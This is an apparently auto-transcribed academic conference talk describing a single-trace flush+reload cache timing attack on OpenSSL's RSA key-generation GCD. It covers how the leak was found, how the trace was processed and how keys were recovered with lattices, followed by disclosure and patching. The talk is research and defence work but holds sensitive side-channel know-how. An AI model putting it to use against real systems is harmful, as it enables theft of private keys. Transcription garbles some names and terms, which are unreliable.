 You'll have three talks addressing attacks in those area. The first talk is given by Cesar Pereira, which has a research interest in on-site channel attack and cache timing attacks, and is about cache timing attacks on RSA key generation. Cesar? Thanks for the introduction and sorry for the technical problems. So this is research done in collaboration with Alejandro Cabrera, Luis Manuel Alvarez, from Universidad Tecnológica de La Habana in Cuba, and my supervisor, Billy Bob Bromley. So this is the contents of my presentation. I'll quickly go through introduction, what it is about, and then site channel leakage finding methodology, and until we develop to find the flaws that we exploit in this work, then we analyze the leakage and the attack that we perform, and finally we conclude with some lessons learned. So for the introduction, so what we did is a single trace cache timing attack on the binary extended Euclidean algorithm for GCD during RSA key generation. So by targeting this algorithm, we managed to recover RSA private keys using a single trace, which was a bit complicated. Why did we manage, why did we target this? Sorry. Our motivation was cloud services, and where users are collocated. So one user can spy on the other. It's getting more common and common. On top of that, we have let's encrypt that makes RSA key generation a semi predictable operation. In addition to that, micro-architecture attacks have been quite common lately. Under meltdown and specter, there's been a lot of research into this field. And additionally, RSA key generation has been neglected on the software side. So on the hardware side has been protected, and there's been a lot of research in that area. But on the software side, it's always been assumed that it's not vulnerable, mainly because you only have one chance to capture a trace. So the key is generated only once, and never again. After that, you can use the key, but during the generation, it only happens once. And how did we do this? So we developed a new methodology to help us detect insecure code parts in OpenSSL. And then during the attack, we use a flush and reload technique, which might be known for some of you. Then we borrow some signal processing techniques from physical side channels and perform a lattice attack to recover the private keys. Okay, so now about leakage finding. Before I talk about the leakage finding, I have to talk about the BN flag constant time that it's used in OpenSSL. So OpenSSL relies on this flag to protect against timing attacks. The way this flag works is that it is set on BN big numbers, and every time that some computation needs to be done on these big numbers, which can be scholars or non-says or private values, the function checks. At the top of the function, there's a check to see if it's set. And if it's set, it takes an early exit to a different version of the same function that it's constant time. And if it's not set, then it continues performing a variable time version of the function. This is done because OpenSSL prioritizes performance and security because they assume that most of the operations are public key operations, so we only need to mark the cases where private information is used. Unfortunately, this flag gives a lot of room for mistakes because programmers need to know how it works and where exactly they need to put this flag. And as a proof of that, there's been several flaws that have been exploited because of the mismanagement of this flag. Either they forgot to set it or they set it on the wrong big num. So it's been a big issue in OpenSSL. And so we decided to take all this information from the CVEs and the research that has been done and then we thought, okay, what can we do with this? We came up with a new methodology that allows us to check for flaws in OpenSSL. So what we do is we take this list of vulnerabilities that are known and we use a debugger. And the debugger, we program it to automatically set breakpoints to lines of code that should be unreachable. This means after the early exits, we put breakpoints there so we can see if they continue with the variable time execution or not. And once that we have the debugger and then we have the breakpoints, we run several security-critical operations, such as RSA key generation, encryption, digital signing. And if any of these breakpoints is reached, then we generate a report of that. After the report is generated, we can manually investigate the root cause of that. Sometimes there might be false positives. But every now and then we get real vulnerabilities, like in this case. So for that, we developed a tool that takes the binary, this case OpenSSL, and takes a file with all the triggers, the points of interest that we are interested in the function that we run. In this case, it's RSA key generation using OpenSSL. As you can see from the image, we have three insecure codepads. So we have one in the modular exponentiation that happens during the Montgomery setup. We have a code to the GCD function and then we have a modular, insecure modular inversion during the Miller-Ravin primality test. So out of these three, we decided to attack the BNGCD function because it was the one that was leaking the most information and it was easier to attack. On the side note, the tool was expanded and it was transformed into a continuous integration tool that is called trigger flow by some people from our research group. You can go and check it out in there. It's a really nice tool. Okay, so once that we found the flaws, we have to check into them where it's exactly the flaws or the leakage happening. So for that, we went to the OpenSSL RSA key generation algorithm and in there we checked that after generating the prime values, either P or Q, it performs GCD computation on P-1 and Q-1 and the public exponent E, which in OpenSSL it defaults to the 16 plus one and then checks the coprimality between the prime minus one and the public exponent and if it's coprime, then it proceeds with the computation of the rest of the parameters. If it's not coprime, then it generates a new prime value and repeats the test. So this GCD computation is done using a variable time algorithm, which is the one that we exploited. The rest of the parameters, they don't matter for our attack. They are just for completeness. Now the binary GCD is very dependent on its inputs. I'm not going to explain all of it, but some important things to say is that we can track two pieces of code in here, two blocks of code, so we can track the U loop or V loop in one side and in the other side we can track the sub-step. So these run interchangeably between the two input values, but interestingly, during Eraseki generation what happens is that the input values, one is the public exponent E, which is 16-bit value and the other one is the prime value, which is 1,024-bits. So that means that for the very, let's say, 1,000 iterations it runs only on the prime value. It only reduces the prime value and then when they are about the same size they start to run interchangeably the public exponent and the rest of the prime value. So after considering that, we know that we can just track the sequence of write sheeps or divisions by two on the U loop, V loop, and the subtractions that have been down there. So if we can track that sequence of operations, we can reverse back and get the bits from the prime value. And according to the work by Kopersmith, we know that if we know at least half of the prime value we can factorize N and recover the private key. So that's in theory, of course, in practice it was a little bit more difficult. Okay, so quickly just a reminder for those who are not familiar, we have cache timing attacks because the computer memory hierarchy depends on how close they are to the CPU. So registers and caches are really fast compared to RAM and main memory. And even the caches like the first level cache, second level cache are faster than third level cache. So this difference in time they make possible to perform cache timing attacks. And there are different techniques to perform cache timing attacks. In this work we use what is called flush and reload by Yuval Jaram and Faulkner. And basically this is how it works. So the big team executes some process filling the cache and then the attacker flushes the cache, the same cache line. And then the victim may or may not access that piece of code for that cache line during the waiting period. And then after some waiting period the attacker reloads data. And if the data is there then it's going to be a fast reload. If it's not then it has to go and fetch it from main memory and it's going to take more time. So all these variations in time make possible a cache timing attack. And on the other hand the performant degradation attack is basically just what it's a step to in there. The attacker can just in a loop continuously flush certain memory addresses which are used continuously by the big team. So effectively slowing down the execution of the big team. Okay so after saying that the attack scenario is like this. We have a big team in one core. We have a flush and reload attacker in another core. And a performant degradation attacker in a third core. And they all share OpenSSL. OpenSSL is compiled as a shared library. So they all have access to the same code. And after that basically we have a huge trace that looks similar to what you see on the top. From there we create some templates. And we use the templates to run the Pearson correlation to find the specific parts that we want in these huge traces. Once that we have the parts that we're interested in we run a low pass filter and perform horizontal analysis to recover a sequence of operations similar to what it looks on the bottom. So the L's represent right shifts and the S's represent subtractions. So we always have at least one shift between subtractions. After we have the sequence of operations we need to convert that to sequence of bits. So for that we used and improved expand and prune algorithm which corrects the errors on the sequence of operations. And in general it works that it creates candidates in a tree like it shows in there and then starts creating more and more candidates that fulfill certain rules. The ones that do not fulfill these rules they get pruned. And at the end we end up with a list of candidates of the possible prime value. This list it gets ranked and it is put into a lattice problem. We put the lattice we create several instances of the lattice problem and we put them in a cluster. And the cluster runs for four hours. We let it run for four hours. This is chosen arbitrarily because it represents a good time an attacker can wait for hours. And after those four hours the success rate was 27%. We did this for 10,000 traces and the success rate was around 27%. Okay so that was the attack. After that a summary. So we developed the methodology we used this methodology and the tool to found flaws in OpenSSL. After we found some flaws we went there. We investigate the leakage. The leakage was in GCD algorithm and then we exploit the GCD algorithm with a flush and reload attack. We used signal processing techniques error correction algorithms and lattices to recover the private keys with a success rate of 27%. After these we performed responsible disclosure with OpenSSL. They assigned a CVE to our work and they confirmed that all 110 and 102 branches were affected at the time of the disclosure. OpenSSL 111 which is the latest version did not exist. And they took our patches. So it's fixed now. It's been fixed for some time already. And two important lessons to take from our work is that we need to take a secure by default approach. I think like security libraries should take this approach. Some of them do. Some of them they don't. But I think in general we should strive for that. And we should adopt constant time algorithms like the one presented two days ago. The GCD in constant time. And also we should make sure that the knowledge is transferred. So chess is a nice conference because we have engineers, we have cryptographers, industry, academia together. But it's not always the case. So sometimes that makes not doesn't make possible for the results from academy to permeate to the real world. So we need to find this midpoint and make sure that the security is well implemented. And after that, thank you for listening. And I take questions. Questions for Cesar. No question. I do have one quick question. Can you go back on slide eight? Can you go back on slide eight? Eight, yes. Yes. And a bit more time on how do you select the point of interest? Okay. So to select the point of interest that we use the information that we gather from all these CVs. So in the CVs there, we went to the code in OpenSSL and we saw where the flow was. And then most of the cases the flow was because of the flag was not set. That meant that the secret operations didn't take the early exit to the constant time versions. So in many cases what we did is just chose the points of interest as soon as the check was done. So if the check was not successful and it didn't jump, then it would continue to perform this non-constant time function. And that's how we chose most of the points of interest. Any other questions for Cesar? If not, let's thank Cesar again.